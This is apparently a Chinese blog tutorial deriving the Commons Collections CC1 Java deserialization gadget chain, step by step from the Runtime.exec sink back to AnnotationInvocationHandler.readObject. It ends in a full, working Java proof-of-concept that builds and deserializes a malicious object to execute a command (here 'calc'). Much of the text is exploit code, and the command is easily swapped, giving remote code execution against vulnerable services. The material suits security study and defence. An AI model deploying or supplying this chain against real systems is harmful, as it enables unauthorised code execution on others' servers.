CC1 大致流程 1 2 3 4 主要是利用TransformMap + InvokerTransformer + AnnotationInvocationHandler 利用过程 unserialize->AnnotationInvocationHandler.readObject()->HashMap.put->HashMap.Entry.setValue()->HashMap.checkSetValue() ->TransformedMap.decorate()->transformerChain.transform()->ChainedTransformer->Runtime.getRuntime.invoke("exec" ,"calc" )
入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下:
寻找利用链尾部的 exec 方法 主要是为了执行 Runtime.getRuntime("exec","calc")
1 2 3 4 5 链子末尾命令执行代码 Runtime r = Runtime.getRuntime();Class<?> c =Runtime.class; Method m = c.getDeclaredMethod("exec" , String.class);m.invoke(r, "calc" );
承先辈留下的思路, 直接从 Transform 接口入手
ctrl+alt+B 查找实现接口的类
最终找到 InvokerTransformer 和 ChainInvokerTransformer
至于为何使用者两个类, 我们接着往下看
InvokerTransformer 类是一个可反射调用任意类, 其中方法名和方法参数可控, 而且有反射调用方法, 很符合作我们命令执行的容器
这里给出用 InvokerTransformer 实现反射调用的代码
1 2 3 Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" });invokerTransformer.transform(r);
注意我们最后一句 invokerTransformer.transform(r);
所以我们下一步的目标是去找调用 transform 方法的不同名函数
寻找中间链 查看 ChainedTransformer 源代码, 发现可以循环调用 transform 方法, 可以通过数组的形式简化代码
以下是引入 ChainedTransformer 的代码
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers);transformerChain.transform(null );
此代码中大致调用链是:
1 2 Runtime->Runtime.getMethod("getRuntime" )->Runtime.getMethod("getRuntime" ).invoke ->Runtime.getMethod("getRuntime" ).invoke("exec" , "calc" )
格式都为 new InvokerTransformer().invoke()
后一个 invoke() 方法里的参数都是前一个的结果
此阶段需要在最后执行 transform 方法
需要找到不同类的同名函数, TransformedMap 是不错的选择
右键 —> find usages,如果 find usages 这里有问题的话,可以先 Ctrl+Alt+Shift+F7,选择 All place 查询。
节省时间,我这里直接把结果贴出来
我们查看 TransformedMap 源码, 发现其 checkSetValue 方法调用了 transform 方法
而且其通过 decorate 方法进行初始化, 传入的参数是 Map
我们可以通过传入 HashMap 对 transformedMap 进行初始化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers);Map<Object, Object> map = new HashMap <>(); map.put("value" , "Jarvis" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); for (Map.Entry entry : transformedMap.entrySet()){ entry.setValue("aaa" ); }
链子构造到这, 需要调用 checkSetValue 方法, 而且需要有 ReadObject 方法
一句话: 如何遍历一个 Map 最终执行 setValue() 方法
寻找链头—ReadObject 方法 搜索实现 ReadObject 方法的入口类, 发现 sun.reflect.annotation.AnnotationInvocationHandler
这是专门用于处理注解的类(Annotation 是注解的意思)
符合要求, 我们往下分析
该 ReadObject 方法执行后会根据传参内容执行 setValue 触发利用链
具体分析一下 ReadObject 执行逻辑
对代码进行调试发现, 是否调用 setValue 方法有两个判断条件
Var7 是获得传参中注解的成员方法, 成员方法不能为空
Var8 是之前构造的 HashMap 的值, Var7 注解成员方法不能和 Var8 同一个类, 且 Var8 不是 ExceptionProxy 类
其中 Var3 是获取的注解类型, 需要有成员变量, 发现 Target 注解存在成员变量
这里先给出完整利用链代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main (String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer transformerChain = new ChainedTransformer (transformers); Map<Object, Object> map = new HashMap <>(); map.put("value" , "Jarvis" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , transformerChain); Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor<?> annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandler.setAccessible(true ); Object o = annotationInvocationHandler.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException, IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object o = ois.readObject(); ois.close(); return o; } }
最终成功触发 ReadObject, 弹出计算器
参考文章
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#1-%E5%AF%BB%E6%89%BE%E5%B0%BE%E9%83%A8%E7%9A%84-exec-%E6%96%B9%E6%B3%95
参考视频
https://www.bilibili.com/video/BV16h411z7o9/